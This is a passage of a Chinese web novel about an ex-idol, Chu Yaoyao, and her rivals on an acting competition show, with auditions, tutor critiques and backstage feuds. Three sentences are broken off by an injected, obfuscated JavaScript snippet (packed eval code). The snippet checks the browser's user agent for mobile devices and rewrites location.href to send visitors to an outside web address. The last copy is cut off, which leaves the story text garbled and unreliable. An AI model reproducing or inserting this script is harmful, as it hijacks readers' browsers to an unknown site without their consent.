几个人结伴走进录影棚内,李导赶忙迎上前对姚成说:“姚导,都准备好了,那就交给您了。” 姚成是中国电影界最具权威性和影响力的导演之一,被公认为“第五代导演”的代表人物,更在国际上享有盛名。 “嗯。”姚成导演点了点头。 陆淮微微抬眉向学员席望去,脸上还是一贯的冷漠,只是在视线经过学员位时稍微停顿了一下。 陈渺见他视线朝她看来,兴奋地挥动着双手同他打招呼,八颗牙露得明明白白。 对方很快收回了视线,波澜不惊的模样,就好像刚刚只是不小心扫到那个方向。 李导退去了幕后,摄影棚的大门也在这时合上了,主导权正式落入姚成手中。 姚成并没有要去导师席入座的意思,甚至没有正眼去看那把导演席,他在聚光灯下来回踱了几步,猛地停住。 “欢迎来到《片场进行时》,我是姚成。规矩很简单,”姚成竖起一根粗粝的手指,“第一,这里没有‘老师’,只有‘导演’。第二,没有‘下次努力’,只有‘现在!立刻!马上!’第三……” 他顿了顿,目光挨个掠过楚幺幺、陈渺、路雅宁和冯静怡,“别跟我扯什么梦想,我要看到‘人物’,活生生的,喘气的!明白吗?” 死一般的寂静,空气仿佛凝固了,只有摄影机镜头推近时细微的“滋滋”声。 姚成“哼“”了一声,对这份沉默似乎很满意,或者说,根本不在意,“第一期,压力测试,主题——‘等待’。” 他手一挥,指向那片空旷得令人心慌的区域,“你们四个,过去。就站在光里,等。” “等?”陈渺下意识地重复,脸上满是茫然。 31. 你走错赛道了 楚幺幺也蹙起了眉,这是什么测试? 路雅宁依旧沉静,冯静怡则努力维持着甜美的表情,眼底却掠过一丝不安。 “对,等。”姚成提高了音量,语气是近乎残忍的冷漠,“等我的指令,我不喊停,你们就是四根木头,但是……” 他话锋陡然一转,眼神变得无比锋利,“摄像机在拍,机器在转,所有人的眼睛都盯着你们。你们要演出一个活人在等待时该有的所有东西。焦躁?无聊?期待?恐惧?记住,你们没有台词,没有动作,就站在那儿,用表情演给我看。” 他猛地一拍手,声音在巨大的空间里炸开:“现在过去,站好。” 四个年轻女孩被这突如其来的指令砸得有些发懵。 楚幺幺深吸一口气,率先站起身,走向那片灼热刺眼的光圈中心。 陈渺紧随其后。 路雅宁步伐从容,冯静怡则下意识地理了理自己的裙摆,才跟了上去。 四道纤细的身影被投光灯巨大的光束笼罩着,强光刺得人几乎睁不开眼,皮肤能清晰地感受到光线的热度。 四面八方,无数黑洞洞的镜头对准了她们,像无数只冰冷的眼睛。更远处,是隐没在阴影里的密密麻麻的工作人员。 死寂重新降临,比刚才更沉重,更令人窒息。只有拍摄机器在运转时发出的低微嗡鸣,在耳畔萦绕。 时间在绝对的静止和无声的审视中,被拉扯得无比漫长,每一秒都像一个世纪。 楚幺幺强迫自己站定,身体却抑制不住地微微发僵,汗水从额角渗出,沿着太阳穴滑落,带来一阵细微的痒意。 她不敢抬手去擦,她能清晰地感觉到自己的心脏在胸腔里狂跳,擂鼓般撞击着耳膜,只好努力调整呼吸,试图让自己看起来不那么像个靶子。 站在她旁边的陈渺,一开始还梗着脖子,眼神倔强地迎向某个方向,但随着时间的推移,那份强撑的镇定开始瓦解。她的呼吸变得有些急促,眼神开始飘忽,嘴唇不自觉地抿紧了。 路雅宁是四人中最稳的一个,她微微垂着眼睑,长长的睫毛在眼下投下一小片阴影,遮住了眼神,双手自然地交叠在小腹前,姿态沉静。 冯静怡起初还试图维持甜美的表情,很快就变得僵硬了,眼神开始不安地四处乱瞟,身体也有些轻微的晃动。 没有台词和动作,她们就这样,在所有人的注目下,傻傻地站着,气氛压抑得令人窒息。 空气越来越稀薄,舞台灯光照得她们满头大汗,无声的沉默让她们四个人都有些走神,甚至是烦躁。 “Cut!”姚成的声音响起。 光束“啪”地一声熄灭了大半,只留下基础照明,那令人窒息的压迫感瞬间消散了。 楚幺幺松了一口气,感觉僵硬的四肢终于找回了一点知觉。 姚成抱着手臂,踱步到她们面前,眼神依旧冷硬,但少了点刚才那种看死物的漠然,“觉得窒息吗?尴尬吗?但表演就是这样,你演的每一场戏,身边都是无数的机子,和无数双眼睛盯着你。你在戏中,就要忘记周遭的一切。” 他先走到路雅宁面前,上下打量了她几秒,点了点头:“沉得住气,眼神里有东西,能压场。” 评价很简短,让路雅宁紧绷的肩膀明显一松。 姚成转向陈渺,眉头立刻拧了起来,毫不客气地指着:“你,表情太假,眼神飘,晃什么晃?不及格!” 陈渺委屈地吐了一下舌头,被姚成瞪了一眼,她才弱弱地低下头,不敢造次。 “你……”姚成的目光落在冯静怡身上,“一开始太硬,后面慌了神。但有那么一丁点真实的烦躁感冒出来,算你过关。” 冯静怡猛地抬起头,脸上交织着后怕和一丝劫后余生的庆幸。 最后,姚成停在了楚幺幺面前。 他的目光极具穿透力,在她脸上停留的时间明显长于其他人,那眼神里没有明显的赞许,也没有像对陈渺那样的严厉否定。 “楚幺幺,”他念出她的名字,声音平稳,“女团出身?” 虽是问句,语气却肯定。 “是。”楚幺幺迎着他的目光,尽量让自己的声音听起来平稳。 “身上有股劲儿,”姚成沉思了一下,又继续说,“绷着,像根快拉断的弦。” 他锐利的眼神似乎要看进她的灵魂深处,“弦断了,就废了;绷住了,就能弹出响。” 他不再看她,挥挥手,“行了,都下去准备自我介绍。十分钟后开始。” 楚幺幺沉默地跟着其他人走向后台临时隔出的休息区。 十分钟转瞬即逝。 演播厅换了个布景,灯光变得柔和温馨,几张舒适的沙发围成半圆。 姚成、冬哥、陆淮、陈星河已经落座,工作人员示意她们按名字顺序上前。 冯静怡第一个站起来,显然调整得很快,脸上重新挂上了甜美笑容,她走到中央的小舞台,对着镜头和导师们鞠躬,姿态优雅。 “各位导演好,我是冯静怡。”她的声音清脆悦耳,“这次来参加《片场进行时》,就是想要挑战自己,突破自己的舒适圈。” 冬哥翻看着手中的学员资料册,开口问道:“看得出,冯小姐在短剧圈业绩十分突出,单播量达到了十亿,能来参加我们这档节目,很有上进心啊。那你觉得自己是天赋型还是努力型呢?” 她微微歪头,笑容带着点俏皮和自信,“我觉得我是天赋型多一些吧。我是非科班出生,但很多东西好像自然而然就能感受到。” 冬哥没再多说什么,只是微微颔首。 陆淮的目光平静无波,一旁的陈星河保持着礼貌的微笑。 姚成则毫不掩饰地撇了下嘴角。 第二个上前的是路雅宁。 她走上前的步伐依旧从容,对着导师席,深深鞠了一躬,“我是路雅宁,很荣幸今天能站在这里。” 她的声音不高,却清晰地传入每个人耳中,“这次来《片场进行时》,其实……是为了一个未完成的约定。大家都知道,程漾姐生前,一直在筹备一部对她意义重大的电影,《金雾弥漫》。” 她顿了顿,似乎在极力压制着翻涌的情绪,声音带上了一丝哽咽的沙哑,“那部戏,承载了她太多的心血和梦想。她的突然离世,是所有人心中巨大的遗憾。我这次来,就是想尽我所能,去学习,去提升自己。希望……希望能有幸参与到《金雾弥漫》的项目中,我想替程漾姐,完成她的遗愿。”她说完,又深深鞠了一躬。 现场瞬间安静下来。 镜头适时捕捉到了导师席上姚成导演和冬哥脸上动容的神色。陆淮依旧面无表情,只是搭在扶手上的手指,微微蜷曲了一下。 姚成抱着手臂,眉头微锁,目光在路雅宁脸上停留了许久,才深深叹了口气,说:“程漾去世,我们都很惋惜。” 这部戏,倾注了他太多的心血,本来年内就能杀青,现在却不知道何时才能和大众见面了。 …… 楚幺幺强迫自己移开视线,看向冰冷的地面,她可不想镜头拍到她此时已经按捺不住的白眼。 她的心愿,被路雅宁如此“真挚”地宣告出来,真是让她像吃了脏东西一样恶心。 《金雾弥漫》她只拍了一个多月就不在了,当初姚成导演到底为什么选中她,连她自己也不知道。 她只记得,那是她全球巡演的第三场演出刚结束,Amy姐就兴冲冲地跑来告诉她,姚成导演钦点她出演《金雾弥漫》的女主。 她第一次在Amy姐那张素来淡定的脸上,看到难掩的震惊和兴奋,就好像班主任看着自己最得意的学生考上了清华北大。 一个是世界上享誉盛名的导演,一个是算不上艺术主流的女团成员,第一次合作就抛出了女主角这个橄榄枝,该是多么大的肯定。 陈渺第三个上场。 “导演们好!我是陈渺!”声音洪亮,带着初生牛犊不怕虎的朝气。 冬哥惯例地问她:“你为什么想来这个节目?” 陈渺几乎脱口而出:“因为……” 那个名字似乎就要冲口而出,她猛地刹住,脸上闪过一丝窘迫,随即挺直腰板,大声道,“……因为我想来突破自我!我要变得更强!” 她攥紧了小拳头,眼神灼灼地扫过几位导师,最后在陆淮脸上多流连了一会儿。 “小小年纪,很有志气啊。”冬哥乐呵呵地说。 姚成颇为难得地笑了一下,大概是因为陈渺的语气太过孩子气,跟他家里刚上初中的的女儿一模一样。 陆淮依旧没什么特别的表示,只是淡淡地看着陈渺。一旁的陈星河则对她露出了一个鼓励的笑容。 随后,楚幺幺站起身,走向那片柔和的灯光。 她走到中央站定,对着导师席微微鞠躬。 “大家好,我是楚幺幺。” 冬哥又翻了翻手里的资料册子,看着她,依旧是那个问题:“楚小姐很年轻,是新晋女团出身,为什么想来演戏?” 楚幺幺抬起头,目光平静地迎向冬哥,也扫过其他几位,最后落回镜头,声音清晰而平稳:“人生有很多维度,我想多多尝试不同的领域。成为女团成员,舞台教会我释放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355728|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而电影的镜头,可以教会我沉下去。” 姚成笑了一下,说:“术业有专攻,从女团跨转到演员,楚小姐当真能做好吗?” 楚幺幺直视着姚成,反问道:“姚导当初选程漾的时候,也这样想吗?” 演播厅里安静了一瞬,空气中仿佛有什么微妙的东西激起了无数涟漪,正无声地扩散开去。 冬哥的眉头动了一下,有些意外。 姚成注视着楚幺幺,两人四目相对许久,他发现这小姑娘完全不惧怕他审视的目光,“我选她当然有我的理由,但这世上能有几个程漾?” “反正,不会只有一个。” 这话题成功把姚成引入了一个陷阱里,他要是否认她,就是否认当初的自己。 冬哥难得在姚成的脸上读出了吃瘪的表情,他憋着笑,同一旁的陆淮心照不宣地交换了一个眼神。 “但愿你有和你的自信相匹配的实力。”姚成讪讪落下一句。 一轮自我介绍终于结束,今天的录制也接近尾声了。 姚成导演作为主导师,代表发言:“欢迎四位学员加入《片场进行时》这趟旅程,接下来的两个月,将是你们演艺生涯中一次高强度、高密度的历练。” 他环视着四位学员,目光严肃:“我们四位导师,会轮番上阵,从最基础的表演理论、台词功底、情绪调动,到角色理解、镜头表现、片场实操……进行全方位的指导。没有捷径,只有汗水、思考和反复的磨砺。” 冬哥接过话头,带着他标志性的温和笑容,语气却同样郑重:“我们手上现在有各大剧组、影视公司超过八十份的正式工作邀约,也就是offer。” 这个数字一报出来,引起了在场所有人的一阵小小的惊呼,连带着玩味来的陈渺眼中都迸发出了热切的光芒。 “八十份offer,意味着什么?”冬哥的声音充满力量,“意味着这个舞台,是真正的试金石,是通往专业演员道路的加速器。当然……” 他话锋一转,笑容敛去,目光扫过四位学员,“这也意味着,竞争会非常激烈,我们不会因为任何人而降低标准。” 陈星河笑着补充,试图缓解一点紧张气氛:“压力越大,收获也会越值得,大家加油!” 最后,所有人的目光都落到了从开场就惜字如金的陆淮身上。 他似乎没打算开口,只是当所有人将期待的目光投向他时,他才微微抬了下眼皮,目光沉沉地掠过舞台中央的四个人。 最终,他薄唇轻启:“祝各位……” 他的嘴角极其轻微地向上扯了一下,“好运。” “好运”两个字,像两颗冰雹,砸在滚烫的舞台上。 果然是惜字如金。 录制结束的提示音尖锐地响起,打破了演播厅内凝固的空气。 巨大的环形灯光“啪”地熄灭了几盏,只留下基础照明,如同退潮般迅速抽走了那份令人窒息的紧绷感。 “好好好,今天的录制到此结束,辛苦各位了!”节目组的李导从后台走向幕前,随后热络地和几位导师打招呼。 后台瞬间涌入了大批工作人员,开始收拾场地。 楚幺幺站在原地,紧绷的身体终于松懈下来。 “幺幺,走啦!”陈渺的声音十分愉悦,一把挽住她的胳膊,力道大得惊人,“累死了!赶紧回去休息!一看那个邪恶颗粒绒就不好对付!” 她叽叽喳喳地抱怨着,拖着楚幺幺就往后台走。 “邪恶颗粒绒?”楚幺幺反问。 “姚成啊!小糟老头子,顶着一头小卷毛还怪会摆谱。‘我要看到‘人物’!活生生的,喘气的!明白吗?!’”陈渺压低嗓子,模仿着姚导刚刚的语气。 楚幺幺被她逗笑了,“陈渺,你走错赛道了,你应该去喜剧赛道。” “是哦~”陈渺露出了非常赞同的表情,但很快就摇了摇头,“不对不对,我家老陆是文艺赛道的,我嫁鸡随鸡,嫁狗随狗。” “圈子不同,不要硬融。”楚幺幺笑道。 “我就不!我就要抓住他,抱住他,强吻他,告诉他‘苦果亦是果’!”陈渺一边长牙五爪地说着,一边拖着楚幺幺往外走,“好啦好啦,快走吧,我真的饿死了!我现在能吃下一头牛!” 两人就这样吵吵嚷嚷地结伴离去,身影消失在通道拐角,并没有发现角落的阴影里,一道颀长挺拔的身影正静静地伫立着。 一旁,工作人员小声提醒:“陆影帝,晚上节目组在品茗轩为各位导师接风。” “嗯。”陆淮低沉而简洁地应了一声,转身离开了。 32. 机会留给有准备的人 《片场进行时》第二期录制现场。 摄影棚内,偌大的场地被分成了四块。 工作人员步履匆匆地布置着场景,空气中弥漫着的好闻的咖啡味,可气氛却还是紧张得吓人。 上次姚导的压力测试确实让所有人都感到“压力倍增”。 楚幺幺坐在木椅上,指尖摩挲着《射雕英雄传》的剧本边缘。 前一夜导演组分发给她这个片段,说是她今天的考题,她趁着节目还没开录来熟悉场地。 与她一样“勤奋”的还有路雅宁,她正坐在最左侧的布景里,几位助理忙着给她扇风和递水,边上的冯静怡甜笑附和。 这时,入口处有两道熟悉的身影在工作人员的引领下走了进来。 宋雨桐扎着高高的马尾出现在视野里,她身上是一件黑色的紧身上衣,下身一条藏蓝色的百褶裙,看起来青春靓丽,仿佛下一秒就要上场打网球。她的目光刻意往楚幺幺的方向睨了一眼,随即不屑地移开了。 “雅宁姐~”宋雨桐脸上堆砌起亲昵笑容,“辛苦啦!我和潇潇来看你了。” 宋雨桐的身后是曲潇潇,简单的套头衫搭配洗得发白的牛仔裤,紧紧跟在宋雨桐身后半步。 “雅宁姐。”曲潇潇叫了一声,嘴角挤出一个笑。 路雅宁立刻起身,脸上绽放出惊喜和亲昵:“你们怎么来啦,我太惊喜了!” 她说着热情地拥抱了两人。角落里一台照相机“咔嚓咔嚓”地按着快门声,对着这三位情比金坚的三人猛猛一顿拍。 冯静怡在一旁附和道:“是呀是呀,雅宁姐刚才还念叨你们呢!” 楚幺幺冷眼看着这虚伪的姐妹情深,思忖着:每天这么演不累吗? 曲潇潇转身坐下,回身时目光不经意扫过楚幺幺,微微一愣,随后冲楚幺幺点了下头。 楚幺幺却没有回应,只是默默盯着她看,直到曲潇潇被看得发虚,移开了视线。 “雨桐姐,那个女生……”曲潇潇低头小声呢喃,却找不到精准的词描述自己的感觉。 感觉……又熟悉又陌生,很奇怪。 宋雨桐往对面瞥了一眼,以为曲潇潇是要询问那个人是谁,讥讽地说:“群星之夜人家踩着咱们的尸首往上爬,这么快就忘了?”她的眼神像一把刀,要在曲潇潇身上剜下一块肉来。 曲潇潇低着头,不敢正视宋雨桐的眼睛。 楚幺幺看着这一幕,嘴角露出了一丝冷笑。 以前她还在的时候,路雅宁和宋雨桐何时有过这般飞扬跋扈,有时她们调侃曲潇潇几句,都会被她制止,“你们别这样说潇潇”,“潇潇只是话少了点,她其实很聪明的”…… 以前,她是真把她当妹妹,可她呢? “幺幺!” 楚幺幺的思绪被一声喊叫打断了。 姜书语穿着宽大的工装裤和白色紧身上衣,手里拎着一只鼓鼓囊囊的印着便利店Logo的塑料袋,风风火火地直奔她而来,却在靠近休息区的时候猛然顿住了脚步,脸色骤变。 同样脸色骤变的还有宋雨桐,她的眉头陡然蹙紧,脸上的嫌弃到达了极点。 她们撞衫了。 虽然颜色不一样,但LOGO和款式,一看就知道是同款。 宋雨桐上下打量着姜书语,鼻子一皱,撇开了头:“晦气。” 姜书语也是毫不客气地向对面送了一个巨大的白眼,转而笑语盈盈向楚幺幺走去,一边走一边说:“幺幺~今天这件衣服勒得我好紧啊,真羡慕有些人,穿这么紧身的衣服都看不到胸,不仅能演女主角,还能演男主角呢~” 说着目光瞥向宋雨桐的胸口——那略显平坦的曲线。 “你……”宋雨桐的脸瞬间黑如锅底。 此刻,姜书语正故意昂首挺胸,傲人的胸部巍峨耸立,山峰间的峡谷深不见底。 “哼。”宋雨桐气鼓鼓地转身走了。 姜书语看到她离去的身影,嘴角止不住上扬,她把塑料袋往楚幺幺怀里一塞,动作粗鲁而熟稔:“给你的,怕你饿死。” 说完,她猛地转身,双手叉腰,像只被激怒的斗鸡,对着宋雨桐的方向做了好几个鬼脸。 楚幺幺看着她突然拔地而起的山峰,忍不住问:“你这胸?……” 她怎么不知道,姜书语何时这么有料? “老娘今天可是垫了三层!简直大快人心!机会果然是留给有准备的人!哈哈哈哈哈!”姜书语笑得像小说里绝世大反派,而且还是不太聪明的那种。 楚幺幺颇为无奈地摇了摇头,脸上却露出了宠溺的笑,“阿柠呢?” “有个音综找上门了,阿柠被拉去谈合作了。” “真的?”楚幺幺喜不自禁。 这是阿柠第一次自己接到工作,她一定很开心。 “当然啦!”姜书语猛地抱住了楚幺幺的头,将她的脸往她那垫了三层的大胸里埋,“只有我闲出屁,今早到超市给你们准备了零食大礼包,怒斥巨资三百块!” 最近几笔分成很客观,姜书语已经正式封自己为“财政大臣”。 以前,她们三人一个月的生活费才三千的时候,每天省吃俭用,别说去超市买零食了,夏天买一根冰棍都得三个人分着吃。现在,总算是守得云开见月明。 楚幺幺的脸被姜书语的胸部压得变了形,在她怀里拼命挣扎,“阿语……我快窒息了……” …… 另一边的休息室里,宋雨桐刚发了一场大火,将靠枕猛地扔到了地上。 小助理赶忙蹲下身把靠枕捡起来,掸了掸上面的灰:“雨桐姐,这是雅宁姐的休息室,我们还是……” 她的话还没有说话,宋雨桐一巴掌就挥在了她的脸上。 小助理没蹲稳,一下子被推坐倒在地,脸上清晰的掌印泛着红。 “我需要你教我做事?!”宋雨桐的眼神犀利,“程漾不在了,路雅宁也要来压我一头是吗?” “雨桐姐,我不是这个意思……” “自己是个什么货色自己不知道吗?真以为穿了龙袍就是太子了?”宋雨桐正气得上头,她扯了扯自己身上那件黑色上衣,眼里的厌恶更盛了,“这种几百块的便宜货,当初就不该接!程漾就是脑子进水了,为了点’支持国货’的虚名,代言费压得那么低……现在好了,什么阿猫阿狗都能穿和我一样的衣服!” 她特意加重了“阿猫阿狗”几个字,眼神嫌恶地扫向助理。 这个牌子是国内近几年崛起的运动品牌“飓风”,原本并没有多大名气。某次连日大雨,A地遭遇了历史以来最大的洪涝灾害,“飓风”向受灾地捐款五百万,完全没有顾及自己的总部也在受灾中心区,岌岌可危。 那之后,程漾主动联系了品牌方,以低于市场价的价格接下了长达十年的代言。程漾离世后,代言落到了同团的宋雨桐身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366963|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小助理蹲在地上低着头,不敢起身也不敢动,直到宋雨桐突然揪住了她的外套领口。 那张清纯的脸上此刻露着凉薄的微笑,语气里带着不容抗拒的凌人气势——“脱下来。” 助理手忙脚乱脱下身上那件印着“Aero”的薄外套,宋雨桐粗暴地抢过,裹在胸前,醒目的Logo与上衣的字母形成刺眼的对比…… 另一边的休息室内,姜书语仰面躺在真皮沙发上,吃着自己买的薯片,“这节目真有钱,连分的休息室都这么大,沙发还是真皮的。” 楚幺幺翻过手中的一页剧本,头也没抬,“姚导是中国电影圈第一人,能请他来上节目,能差吗?” “有这么舒服的休息室,你刚刚在摄影棚里坐着干嘛?热死了。”姜书语问。 “刚刚在熟悉场景,下午我要演这段。” 姜书语从沙发上猛地坐起来,“那你还不去坐着。那个路雅宁是不是也坐那儿熟悉场景?我们可不能输给她!” 楚幺幺终于抬起头来,姜书语在她真是半个字都看不进去,“我再把你留在那儿,你都快把人都得罪光了。” “哎哟~哪有嘛~是别人先动手的。”姜书语盘腿而坐,委屈地撅起了嘴。 “咚咚咚。”有人敲门。 楚幺幺从椅子上移步去开门,门口站着两位场务,“幺幺姐,雅宁姐请大家吃凉粉,解暑。” 她们身后拖着一辆冰车,上面摆满了透明塑料杯装的褐色凉粉。 “谢谢雅宁姐。”楚幺幺接过冰冷的杯子,刚转身进屋,手里的两杯凉粉就被姜书语一把抢走了。 姜书语像一阵风冲进了卫生间,没一会儿,里面传来了冲马桶的声音。 “哗啦”一声过后,姜书语叉腰出现在卫生间门口,“舒服了。” 末了,她又补了一句:“还不知道下什么毒呢!” “你不是Fire的粉丝吗?” “错!我是程漾的粉丝!”姜书语一抹鼻子,“上回你说阿柠受伤有可能是她们做的,我现在怀疑程漾的死,也是她们做的!” 楚幺幺的心脏猛地一缩,她当然知道,姜书语只不过是随口一说。 “阿柠的事,查得怎么样了?” “警察说那附近没有监控,排查了从村里出来的车子都没有发现可疑的。” 既然要干这种事,当然不会这么轻易让人抓住把柄,只是常在河边走,哪能不湿鞋?上回她们谋害她选在公海,这次堂而皇之地就敢在北山伤人,那下次呢? 楚幺幺低头沉思,把手中的剧本攒得更紧了。 总有一天,她要把她们加在她身上的东西,通通还回来。 半小时后,所有人再次聚到台前。 宋雨桐穿着新的外套,昂首白了姜书语一眼。 姜书语扭过头,嗤之以鼻,“装什么装。” 楚幺幺盯着宋雨桐看了半晌,突然走向了场边一位正在架摄像机的摄像师。 看到嘉宾靠近,摄像师有些疑惑,“怎么了?” 楚幺幺双手合十,星星眼地望着摄像师,说:“小哥,能帮我多拍点宋雨桐的花絮镜头吗?我是她的粉丝!拜托拜托~” 这张充满胶原蛋白的美貌小脸,冲着你撒娇,任谁来了都顶不住。 “当然没问题,包在我身上!”摄影小哥拍拍自己的胸脯,手上安装摄像的动作都快了几分。 33. 真是很碍眼 真正的风暴在第二期正式录制时才降临。 巨大的环形舞台被布置成四个风格迥异的场景区,灯光聚焦在导师席。 姚成依旧穿着那件标志性的旧夹克,顶着乱糟糟的卷毛,抱着手臂,眼神扫过台上站着的四个年轻女演员。 “第二期,角色重塑。”姚成的声音通过麦克风,像金属一样冷,“考题已经在前一天给你们了,都是影视经典片段,你们要通过自己的理解演绎出来。” 大屏幕上瞬间投影出四个经典影视剧片段名称: 楚幺幺:《射雕英雄传》-黄蓉初遇郭靖 路雅宁:《新白娘子传奇》-白素贞盗仙草救许仙 冯静怡:《还珠格格》-小燕子大闹御花园 陈渺:《无间道》-天台对峙 “搭戏导师——陆淮,陈星河。”姚成宣布完,不再废话,“抽签,准备,十分钟后开始。” 第一个出场的是陈渺。 “《无间道》天台场,第一次,Action!” 场记板清脆一响,仿佛拉开了枪栓,瞬间抽干了现场所有杂音。 舞台上搭了一段半米高的台子,模拟天台。 陈渺站在“天台”边缘,低头望着脚下,好像在审视这令人眩晕的都市深渊,她的手中握着一把沉甸甸的道具枪。 “颗粒绒”一定在玩她,为什么她这个角色是男性?她还成帅过刘德华不成? 突然,后腰被一把枪抵住了。 身后,陆淮不知何时已经上了台,此刻他是“陈永仁”,眼神里透着些许疲惫,如同肩负着整个世界的重量。 陆淮的手在她的裤腿上擦过,搜身,动作却很绅士,每一下都没有摸到实处。紧接着,一双手铐扣在了她的手腕,她手中的道具枪被收缴,陆淮修长的手指将枪内的子弹一股脑倒出,子弹落在脚边。 陈渺脑袋瞬间宕机,一时间竟忘了台词,猛咽口水。 陆淮将手里的空枪别到腰间,见陈渺迟迟不说话,将抵在她腰间的枪又往前顶了一寸,“我要的东西呢?” 陈渺在这句话的提示下,才终于想起了今天背的那几句,她缓缓转过身来,“我要的你还未必带来呢。” 陆淮苦笑一声,微微低头,舔了一下唇,双目紧紧盯着陈渺,语气戏谑:“什么意思?你上来晒太阳的?” “给……给我一个机会。我以前没得选择……”陈渺盯着陆淮那双深渊般的眼睛,像被审判的罪人,声音近乎崩溃地颤抖,“现在我想做一个好人。” 她的双手被绑在身后,声音发颤,就像一个没有感情的台词机器,连台词的顿挫都有明显的问题。 不远处,正看着监视器的另外几位导师瞬间皱了眉。尤其是姚导,脸微微撇向一边,仿佛多看一眼都是灾难。 好在,陆淮还在继续带戏,当镜头扫到他时,那张颇具质感的脸让画面舒服了不少。 “好,”陆淮仿佛听到了世上最荒谬的笑话,那声“好”字脱口而出,充满了极致的嘲弄,他的睫毛颤了颤,声音近乎冷酷,“跟法官说,看他让不让你做好人。” “那就是要我死?”如此情绪激烈的台词,在陈渺的嘴里却软弱无力,就像天边快被吹散的云。 “对不起,我是警察。”陆淮的声音突然低沉下去,眼神里满是决绝。 “谁知道?”陈渺感到心跳飞快,这三分钟,比小时候在亲戚面前表演还漫长。 背景音里一声闷哨传来,将气氛烘托到了顶点。 陆淮猛地抬高枪口,枪管几乎要戳进她的眉心,积压多年的血与恨终于在这一下喷薄而出。 陆淮的台词还没出口,陈渺已经被他吓了一跳,下意识地向后一躲,视线接触到陆淮愤怒的目光时,竟慌了神,脱口而出:“对……对不起。” …… 一瞬间,空气凝固了。 她在干什么?道歉? “咔咔咔!”姚导紧急喊停。 陆淮放下手中的枪,那双原本盛满悲悯与疲惫的眼睛里,闪过一丝极其锐利的不满。 他俯身将陈渺手上的手铐解下,靠近她时,那线条近乎完美的下颚线条近在咫尺。 陈渺心虚地躲开了他的注视,声音更小地嘟囔了一句:“对不起……” 姚成将手里的剧本在监视器上敲了两下,望着陈渺问:“你的表演很有问题,你知道错在哪里吗?” 简直乏善可陈。 台词台词没记住,肢体肢体不协调,最后还出戏了,和影帝陆淮站在一起,对比惨烈,堪称灾难。 “我……”陈渺吞了口口水,“我……没进去。” 冬哥都听笑了,她倒是会给自己台阶,“嗯,你永远都进不去。” 作为演员,进入戏里是后一步,陈渺连最基本声台形表都没做到,还谈什么入戏? 姚导无奈地摇摇头,冲陈渺摆摆手,让她退下了。 舞台的灯光重新变幻,接下来上场的是冯静怡。 她顶着花团锦簇的旗头,努力瞪大眼睛,做出活泼天真的表情,蹦蹦跳跳地跑上台,面对着扮演皇阿玛的陈星河说道:“皇阿玛!你看那只蝴蝶……” 冯静仪刻意拔高音调,却因用力过猛,显得格外浮夸。 姚成的眉头越皱越紧,冬哥面无表情地摇了摇头。 陆淮的目光则直接越过她,看向台下。 陈渺刚刚在台上受了委屈,此刻正倒在楚幺幺的怀里哭,“脸丢大发了,我不要活了!” 陆淮微微歪了下头,余光悄悄看向陈渺的背影。 又装哭。 冯静怡的表演过后,冬哥握着笔,在纸上写了几个字后才说:“演戏浮于表面,网剧风格明显,还要历练。” 冯静怡客套地说了几句会努力学习的话,在稀稀拉拉的掌声中退场了。 第三个是路雅宁。 场景布置成了云雾缭绕的昆仑山仙境,干冰生成的雾气铺满了整个舞台。 路雅宁一身素雅白衣,仙气飘飘,手中握着一只灵芝,从后台急跑了几步出来。 她的身后是扮演仙鹤神君的陆淮,陆淮反手握剑,衣服上的白色羽毛在鼓风机下轻轻摆动,“何方妖孽,闯我仙山。” “仙童大哥,我官人他,命在旦夕,只有灵芝仙草可以为他续命。”她眼中瞬间含泪,声音凄婉动人。 “灵芝乃昆仑山之宝,岂能为一介凡夫俗子续命,随我回天界复命。”陆淮的剑朝路雅宁刺去。 路雅宁躲开去,手里的剑接挡了几招,最后重重摔在地上。 陆淮的剑抵在路雅宁的脖前,“白素贞,快快交出灵芝,饶你不死。” “仙童大哥,我本无意冒犯。如果没有灵芝救回我家官人姓名,我生又何欢,死又何惧!”她的每一个眼神,每一句台词,都落在煽情点上,将白娘子的深情和焦急展现得淋漓尽致,甚至刻意加重了那份“为爱不顾一切”的悲壮感。 台下不少工作人员都被感染,发出低低的赞叹。 姚成抱着手臂,没有说话,心里却有说法。 好则好已,只是太过公式化,看得出刻意看了以往不少的影视作品,一颦一笑有老前辈的影子。 片段演绎结束,冬哥微微颔首:“雅宁的表演很完整,虽然以前没演过戏,但看得出下了不少功夫。” 路雅宁笑得谦逊,说话时抹了抹额上的汗,“谢谢张导。” 张冬是冬哥的本名。 路雅宁在一片掌声中退场,脸上带着属于“胜利者”的矜持微笑。 此时,楚幺幺正要上台表演,同她擦肩而过。 台下,助理给路雅宁递上了一杯热茶,她吹了吹,抬眼看向台上,眼底悄然浮上一缕不屑。 雨桐说这个楚幺幺不一般,可在她看来也不过如此,样貌普普通通,出身更是低贱。从前程漾斗不过她,小小一个楚幺幺也不会是她的对手。 最后一束灯光亮起,聚焦在舞台中央,场景是江南水乡的客栈一角。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 